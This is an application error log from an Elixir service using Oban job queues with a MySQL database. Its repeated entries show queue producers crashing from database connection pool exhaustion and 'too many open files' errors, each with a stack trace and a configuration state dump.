State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:46:23.240244Z], limit: 50, uuid: "c99c178d-8bca-4cc7-b2f2-7f095c859d51", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:23.240250Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.91877>, refresh_timer: #Reference<0.2525715032.1099169794.243674>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:35.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 890ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:46:23.239861Z], limit: 20, uuid: "15498784-99cd-4334-bab8-396cdb63a577", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:23.239866Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.91878>, refresh_timer: #Reference<0.2525715032.1077411843.215793>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:35.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1060ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:46:23.240416Z], limit: 10, uuid: "9a5db2c6-8eb4-4a1e-9c19-0e66f78cb4fc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:23.240422Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.91876>, refresh_timer: #Reference<0.2525715032.1121189889.91849>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:35.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1033ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:46:23.239003Z], limit: 5, uuid: "348172a3-75c8-4c88-9495-5624e377eca6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:23.239008Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.91879>, refresh_timer: #Reference<0.2525715032.1068236804.235229>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:35.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1028ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:46:23.240263Z], limit: 5, uuid: "0556d792-458d-41f6-97f0-242ee31d9b32", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:23.240268Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.215818>, refresh_timer: #Reference<0.2525715032.1077411843.215809>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:35.531000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:38.161000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:40.679000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:42.130000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:46:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:46:35.241364Z], limit: 20, uuid: "65428fd5-f02d-4297-b97a-d33263427624", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:35.241369Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.92206>, refresh_timer: #Reference<0.2525715032.1099169794.243762>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:46:35.240899Z], limit: 10, uuid: "8e5124f5-cd42-40c8-b4bb-a7c3cd9027ca", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:35.240904Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.92207>, refresh_timer: #Reference<0.2525715032.1068236804.235384>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:47.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:46:35.239890Z], limit: 3, uuid: "7e5aa40f-259b-4713-891a-aee5ec03f8ed", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:35.239896Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.92210>, refresh_timer: #Reference<0.2525715032.1068236804.235365>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:47.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:46:35.240563Z], limit: 5, uuid: "685ddc62-6582-4612-9939-6f1ba5552aea", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:46:35.240569Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.92208>, refresh_timer: #Reference<0.2525715032.1068236804.235367>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:46:47.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
